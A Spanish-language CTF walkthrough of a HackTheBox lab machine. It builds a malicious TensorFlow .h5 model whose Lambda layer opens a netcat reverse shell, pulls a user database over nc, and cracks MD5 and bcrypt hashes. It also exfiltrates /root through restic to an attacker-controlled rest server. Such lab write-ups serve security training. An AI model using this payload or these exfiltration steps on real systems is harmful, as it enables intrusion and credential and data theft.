Máquinas/CTF

Máquina resuelta


1. Escaneo de puertos tcp

PORT     STATE SERVICE VERSION
    22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
    | ssh-hostkey: 
    |   3072 7c:e4:8d:84:c5:de:91:3a:5a:2b:9d:34:ed:d6:99:17 (RSA)
    |   256 83:46:2d:cf:73:6d:28:6f:11:d5:1d:b4:88:20:d6:7c (ECDSA)
    |_  256 e3:18:2e:3b:40:61:b4:59:87:e8:4a:29:24:0f:6a:fc (ED25519)
    80/tcp   open  http    nginx 1.18.0 (Ubuntu)
    |_http-server-header: nginx/1.18.0 (Ubuntu)
    |_http-title: Did not follow redirect to http://artificial.htb/
    8000/tcp open  http    SimpleHTTPServer 0.6 (Python 3.8.10)
    |_http-title: Directory listing for /
    Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
    

 

2. Enumeración

Añadimos al /etc/hosts el dominio artificial.htb. En dicha página vemos un recurso en donde nos podemos registrar. Tras registrarnos e iniciar sesión, podemos observar un formulario donde nos dejan subir archivos con el formato .h5. También podemos observar que podemos descargar un archivo requirements, el cual incluye el siguiente contenido:

tensorflow-cpu==2.13.1
    

Y un archivo dockerfile, con el siguiente contenido

FROM python:3.8-slim
    
    WORKDIR /code
    
    RUN apt-get update && \
        apt-get install -y curl && \
        curl -k -LO https://files.pythonhosted.org/packages/65/ad/4e090ca3b4de53404df9d1247c8a371346737862cfe539e7516fd23149a4/tensorflow_cpu-2.13.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl && \
        rm -rf /var/lib/apt/lists/*
    
    RUN pip install ./tensorflow_cpu-2.13.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl
    
    ENTRYPOINT ["/bin/bash"]
    

Buscando por internet algún exploit que afecte al software tensorflow, observamos el siguiente https://splint.gitbook.io/cyberblog/security-research/tensorflow-remote-code-execution-with-malicious-model#getting-the-rce

 

3. Explotación

En el se crea un archivo .h5 en un ejecutable .py, con el cual conseguimos ejecutar un RCE. Para elllo nos dan de ejemplo el siguiente ejecutable .py:

import tensorflow as tf
    
    def exploit(x):
        import os
        os.system("rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 127.0.0.1 6666 >/tmp/f")
        return x
    
    model = tf.keras.Sequential()
    model.add(tf.keras.layers.Input(shape=(64,)))
    model.add(tf.keras.layers.Lambda(exploit))
    model.compile()
    model.save("exploit.h5")
    

Si probamos a instalar la ultima versión de la librería tensorflow en nuestra maquina, y ejecutar el .py, observamos que al subir el archivo .h5, a la aplicación web, no ocurre nada y que el RCE no se lleva acabo.

Nos damos cuenta, que para que funcione tenemos que compilarlo con la versión 2.13.1 de tensorflow, tal y como se especificaba en el archivo de requirementes. Para ahorrarnos los pasos de instalarlo directamente en nuestra máquina, lo ejecutamos mediante un contenedor docker:

# docker run -it --rm -v "$PWD":/app -w /app tensorflow/tensorflow:2.13.0 python3 exploit.py                                       
        Unable to find image 'tensorflow/tensorflow:2.13.0' locally
        2.13.0: Pulling from tensorflow/tensorflow
        01085d60b3a6: Pull complete 
        de96f27d9487: Pull complete 
        0d0dce5452b7: Pull complete 
        3b190c0764b5: Pull complete 
        9e55d77b5a31: Pull complete 
        eb5c0fde2e19: Pull complete 
        1eb5af93509e: Pull complete 
        4a60f8dff7fd: Pull complete 
        85ba1cd0f140: Pull complete 
        4983425daedd: Pull complete 
        d10bf76e378a: Pull complete 
        17f02e3f1db1: Pull complete 
        Digest: sha256:f133c99eba6e59b921ea7543c81417cd831c9983f5d6ce65dff7adb0ec79d830
        Status: Downloaded newer image for tensorflow/tensorflow:2.13.0
        2025-06-25 08:27:22.207561: I tensorflow/core/platform/cpu_feature_guard.cc:182] This TensorFlow binary is optimized to use available CPU instructions in performance-critical operations.
        To enable the following instructions: FMA, in other operations, rebuild TensorFlow with the appropriate compiler flags.
        sh: 1: nc: not found
        /usr/local/lib/python3.8/dist-packages/keras/src/engine/training.py:3000: UserWarning: You are saving your model as an HDF5 file via `model.save()`. This file format is considered legacy. We recommend using instead the native Keras format, e.g. `model.save('my_model.keras')`.
        saving_api.save_model(
    

Podemos observar, que si ahora subimos el nuevo archivo .h5 a la pagina web, y ponemos a escuchar un netcat en nuestra máquina host a través del puerto 6666, somos capaces de establecer una revershell:

# nc -lvnp 6666
        listening on [any] 6666 ...
        connect to [10.10.14.49] from (UNKNOWN) [10.10.11.74] 59932
        /bin/sh: 0: can't access tty; job control turned off
        $ id
        uid=1001(app) gid=1001(app) groups=1001(app)
        $ 
    

 

4. Movimiento lateral

Una vez dentro, como usuario app, podemos encontrar el siguiente archivo de usuarios:

$ ls
    app.py
    instance
    models
    __pycache__
    static
    templates
    $ cd instance
    $ ls
    users.db
    

La pasamos a nuestra máquina mediante nc:

  1. En la maquina host:

     # nc -lp 1234 > users.db
        
  2. En la maquina objetivo:

    # nc 10.10.14.49 1234 < users.db
        

Una vez en nuestra máquina lo podemos abrir con sqlite3, y observamos lo siguiente:

sqlite> .tables
    model  user 
    sqlite> select * from user;
    1|gael|gael@artificial.htb|c99175974b6e192936d97224638a34f8
    2|mark|mark@artificial.htb|0f3d8c76530022670f1c6029eed09ccb
    3|robert|robert@artificial.htb|b606c5f5136170f15444251665638b36
    4|royer|royer@artificial.htb|bc25b1f80f544c0ab451c02a3dca9fc6
    5|mary|mary@artificial.htb|bf041041e57f1aff3be7ea1abd6129d0
    6|marco|marco@marco.com|9985039da9a041e4e95a6e62e63adf76
    7|hacker|hacker@htb.com|482c811da5d5b4bc6d497ffa98491e38
    8|test|test@test.com|098f6bcd4621d373cade4e832627b4f6
    9|flufy|fluffy@gmail.com|5f4dcc3b5aa765d61d8327deb882cf99
    10|parrot|parrot@gmail.com|baf4d84542de49229350d14168931f60
    11|flaskdev|flaskdev@example.com|be551ee513d0096809723ef724e6b0ce
    12|qwer123|2asd@asd.com|7815696ecbf1c96e6894b779456d330e
    13|zeroday|zero@mail.com|6e3578724424fbfa1751f31609b3c304
    14|pat|pat@pat.com|7852341745c93238222a65a910d1dcc5
    15|q@w.e|q@w.e|60a303e912496b4f1024d40ed20d40af
    16|<script>alert('xss')</script>|q@a.z|1de13057bf9b56473f551702ebbc8fb5
    17|ciccio|ciccio@gmail.com|e10adc3949ba59abbe56e057f20f883e
    18|test2|test2@test.com|d6ca3fd0c3a3b462ff2b83436dda495e
    19|prova|prova@gmail.com|189bbbb00c5f1fb7fba9ad9285f193d1
    20|admin|124eqsdxc23edsxc1234easd@222|202cb962ac59075b964b07152d234b70
    21|sa|sa@sa|202cb962ac59075b964b07152d234b70
    22|cat123|cat@vat.htb|56d6106e30d2a478150087acccb6aa63
    23|shell0000|test258@test.com|e10adc3949ba59abbe56e057f20f883e
    24|suy|suy@gmail.com|03c7c0ace395d80182db07ae2c30f034
    25|a|a@gmail.com|0cc175b9c0f1b6a831c399e269772661
    26|shirshxk|sirshak99@gmail.com|962a36218a682120bee6374c0eb715a0
    27|ewrwr|wr@gmail.com|f3151d23f9c88ea74e0229bcdd321cde
    28|kam|kam@gamil.com|d968a18370429ceee4e7fb0268ec50bf
    sqlite> 
    

Mediante la misma revershell que ya teníamos con el usuario app, listamos los directorios de home pudiendo comprobar así como existe el usuario gael:

$ ls /home
    app
    gael
    $ 
    

Movemos entonces el hash c99175974b6e192936d97224638a34f8 a un archivo llamado "hash", y ejecutamos hashcat para realizar fuerza bruta para un hash md5:

# hashcat -m 0 hash  
    

Pero observamos como no somos capaces de obtener nada. Comprobamos entonces con la herramienta online crackstation, si somos capaces de obtener el hash descifrado. Y observamos como si que somos capaces, obteniendo la siguiente contraseña:

c99175974b6e192936d97224638a34f8	md5	mattp005numbertwo
    

Por lo que probamos a acceder por ssh mediante los siguientes credenciales gael:mattp005numbertwo. Somos capaces de acceder y obtener así la flag de usuario

 

5. Escalado de privilegios

Observamos que existen los siguientes puertos abiertos en la máquina:

-bash-5.0$ ss -lntu
    Netid                State                 Local                                    
    udp                  UNCONN                127.0.0.53%lo:53
    tcp                  LISTEN                127.0.0.1:5000
    tcp                  LISTEN                127.0.0.1:9898
    tcp                  LISTEN                0.0.0.0:80
    tcp                  LISTEN                127.0.0.53%lo:53
    tcp                  LISTEN                0.0.0.0:22
    tcp                  LISTEN                0.0.0.0:9919
    tcp                  LISTEN                [::]:80
    tcp                  LISTEN                [::]:22
    

Forwardeamos entonces el puerto 9898 (el 5000 comprobamos que no era relevante), mediante el siguiente comando:

# ssh -L 1234:127.0.0.1:9898 gael@artificial.htb
    

Si accedemos a dicho recurso, observamos un panel de login, de un servicio llamada backrest, del cual no disponemos de credenciales. Buscamos en el sistema de archivos, de la propia máquina, alguna referencia a dicho servicio, y encontramos lo siguiente:

$ find ./ -iname *backrest* 2>/dev/null
        ./usr/local/bin/backrest
        ./opt/backrest
        ./opt/backrest/.config/backrest
        ./opt/backrest/backrest
        ./opt/backrest/processlogs/backrest.log
        ./var/backups/backrest_backup.tar.gz
    

En dicho directorio (/opt/backrest) existen los siguientes archivos:

bash-5.0$ ls -la
    total 51116
    drwxr-xr-x  5 root root         4096 Jun 25 09:20 .
    drwxr-xr-x 10 root root         4096 Jun 25 05:31 ..
    -rwxr-xr-x  1 app  ssl-cert 25690264 Feb 16 19:38 backrest
    drwxr-xr-x  3 root root         4096 Mar  3 21:27 .config
    -rwxr-xr-x  1 app  ssl-cert     3025 Mar  3 04:28 install.sh
    -rw-------  1 root root           64 Mar  3 21:18 jwt-secret
    -rw-r--r--  1 root root        77824 Jun 25 09:20 oplog.sqlite
    -rw-------  1 root root            0 Mar  3 21:18 oplog.sqlite.lock
    -rw-r--r--  1 root root        32768 Jun 25 09:20 oplog.sqlite-shm
    -rw-r--r--  1 root root            0 Jun 25 09:20 oplog.sqlite-wal
    drwxr-xr-x  2 root root         4096 Mar  3 21:18 processlogs
    -rwxr-xr-x  1 root root     26501272 Mar  3 04:28 restic
    drwxr-xr-x  3 root root         4096 Jun 25 09:20 tasklogs
    

Pero vemos que ninguna nos aporta ninguna información. Miramos entonces el comprimido /var/backups/backrest_backup.tar.gz. Para ello lo movemos primero a nuestra maquina host. Vemos que se trata de un archivo tar directamente:

# file backrest_backup.tar.gz 
        backrest_backup.tar.gz: POSIX tar archive (GNU)
    

Por lo que lo extraemos con el siguiente comando:

# tar -xvf backrest_backup.tar.gz
        backrest/
        backrest/restic
        backrest/oplog.sqlite-wal
        backrest/oplog.sqlite-shm
        backrest/.config/
        backrest/.config/backrest/
        backrest/.config/backrest/config.json
        backrest/oplog.sqlite.lock
        backrest/backrest
        backrest/tasklogs/
        backrest/tasklogs/logs.sqlite-shm
        backrest/tasklogs/.inprogress/
        backrest/tasklogs/logs.sqlite-wal
        backrest/tasklogs/logs.sqlite
        backrest/oplog.sqlite
        backrest/jwt-secret
        backrest/processlogs/
        backrest/processlogs/backrest.log
        backrest/install.sh
    

Si observamos el archivo backrest/.config/backrest/config.json observamos:

 {
     "modno": 2,
     "version": 4,
     "instance": "Artificial",
     "auth": {
         "disabled": false,
         "users": [
         {
             "name": "backrest_root",
             "passwordBcrypt": "JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1OEVCWnovMFFP"
         }
         ]
     }
     }
    

Vemos que se trata de un hash en base64, por lo que si lo decodificamos obtenemos el siguiente hash con formato bcrypt:

$2a$10$cVGIy9VMXQd0gM5ginCmjei2kZR/ACMMkSsspbRutYP58EBZz/0QO
    

Lo guardamos en el archivo hashback y ejecutamos hashcat para aplicarle fuerza bruta:

# hashcat -m 3200 hashback /usr/share/wordlists/rockyou.txt --show
                                    
        $2a$10$cVGIy9VMXQd0gM5ginCmjei2kZR/ACMMkSsspbRutYP58EBZz/0QO:!@#$%^
    

Entonces las credenciales para acceder al servicio backrest son backrest_root:!@#$%^. Cuando accedemos, podemos ver un panel de administración, en el que parece que podemos crear backups. Lo primero que tenemos que crear es un repositorio, que viene siendo donde guardaremos nuestra backup. Lo creamos, y lo llamamos repo1 estableciendo como ruta de guardado el directorio repo1 y una contraseña. A continuación, deberemos crear un plan de backup, en el que configuremos la carpeta objetivo sobre la cual se va a crear el backup. En nuestro caso elegimos la carpeta /root. Podemos esperar a que la tarea se ejecute sola, o ejecutarla manualmente. Una vez creado el backup, observamos que tenemos la capacidad de ejecutar comandos sobre dicho repositorio, en concreto, solo podemos ejecutar el comando restic.

Si vemos en gtfobins algún exploit, observamos como podemos ser capaces de enviar archivos backup a otro equipo, es decir, realizar una exfiltración de la información. Para ello, en nuestra maquina host instalamos el siguiente paquete:

# apt install restic-rest-server restic
    

En nuestra maquina host lanzamos el siguiente comando para poner a escuchar nuestro servidor restic:

# restic-rest-server --path /tmp/restic-data --listen :12345 --no-auth
    

En el panel web de backrest, ejecutamos los siguiente comandos, especificando la IP y puerto de nuestro servidor, así como el repo que queremos enviar:

# -r rest:http://10.10.14.49:12345/repo1 init 
    # -r rest:http://10.10.14.49:12345/repo1 backup /root
    

Enseguida vemos, que en nuestro servidor aparece el siguiente mensaje, en el cual nos informa que el backup fue creado en la ruta /tmp/restic-data/repo1:

 # restic-rest-server --path /tmp/restic-data --listen :12345 --no-auth
       Data directory: /tmp/restic-data
       Authentication disabled
       Private repositories disabled
       start server on [::]:12345
       Creating repository directories in /tmp/restic-data/repo1
    

Para abrirlo y poder extraer los archivos, hacemos uso nuevamente de la herramienta restic y ejecutamos lo siguiente

# restic -r /tmp/restic-data/repo1 snapshots
    enter password for repository: 
    repository e7c22241 opened (version 2, compression level auto)
    created new cache in /root/.cache/restic
    ID        Time                 Host        Tags        Paths  Size
    -----------------------------------------------------------------------
    93447518  2025-06-25 09:33:50  artificial              /root  4.299 MiB
    -----------------------------------------------------------------------
    1 snapshots
    

Y finalmente hacemos el restore con el siguiente comando:

# restic -r /tmp/restic-data/repo1 restore 93447518 --target ./restore
    enter password for repository: 
    repository e7c22241 opened (version 2, compression level auto)
    [0:00] 100.00%  1 / 1 index files loaded
    restoring snapshot 93447518 of [/root] at 2025-06-25 13:33:50.906761304 +0000 UTC by root@artificial to ./restore
     Summary: Restored 80 files/dirs (4.299 MiB) in 0:00
    

Vemos como dentro del repositorio de backup se nos crea una carpeta llamada restore, en la que su interior encontramos todos el directorio de root:

# (root㉿kali)-[/tmp/restic-data/repo1]
    └─# cat restore/root/root.txt
    

Pudiendo así obtener la flag del usuario root.